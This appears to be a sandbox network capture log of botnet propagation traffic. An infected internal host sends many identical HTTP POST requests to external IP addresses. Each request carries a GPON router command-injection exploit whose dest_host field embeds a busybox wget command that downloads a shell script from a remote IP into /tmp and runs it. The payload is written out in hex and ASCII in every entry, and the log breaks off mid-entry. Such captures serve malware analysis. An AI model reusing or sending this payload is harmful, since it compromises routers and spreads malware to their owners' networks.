Mar 21, 2024 05:26:34.289307117 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1188	192.168.2.23	49620	2.219.227.223	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289305925 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1189	192.168.2.23	37332	178.37.93.197	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289333105 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1190	192.168.2.23	49300	118.209.133.42	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289380074 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1191	192.168.2.23	45666	212.47.102.119	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289383888 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1192	192.168.2.23	50270	37.156.185.118	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289411068 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1193	192.168.2.23	56204	94.226.183.214	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289421082 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1194	192.168.2.23	49274	5.74.49.15	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289421082 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1195	192.168.2.23	49712	109.110.61.140	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289438009 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1196	192.168.2.23	36918	94.122.169.2	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289438009 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1197	192.168.2.23	38238	42.179.165.250	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289469957 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1198	192.168.2.23	49122	210.16.226.19	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289494038 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1199	192.168.2.23	46912	5.148.57.243	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289495945 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1200	192.168.2.23	39720	94.188.232.14	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289515972 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1201	192.168.2.23	57312	37.114.39.42	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289541006 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1202	192.168.2.23	54766	210.190.228.65	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289577961 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1203	192.168.2.23	33142	37.227.193.170	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289582014 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1204	192.168.2.23	54234	118.183.246.104	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289594889 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1205	192.168.2.23	54124	178.51.94.249	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289596081 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1206	192.168.2.23	50416	2.36.147.67	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289622068 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1207	192.168.2.23	51176	210.62.179.53	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289652109 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1208	192.168.2.23	46920	210.229.151.209	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289655924 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1209	192.168.2.23	57968	109.82.217.11	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289664984 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1210	192.168.2.23	51392	42.157.187.65	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289673090 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1211	192.168.2.23	59014	118.229.192.183	443

Timestamp	Bytes transferred	Direction	Data
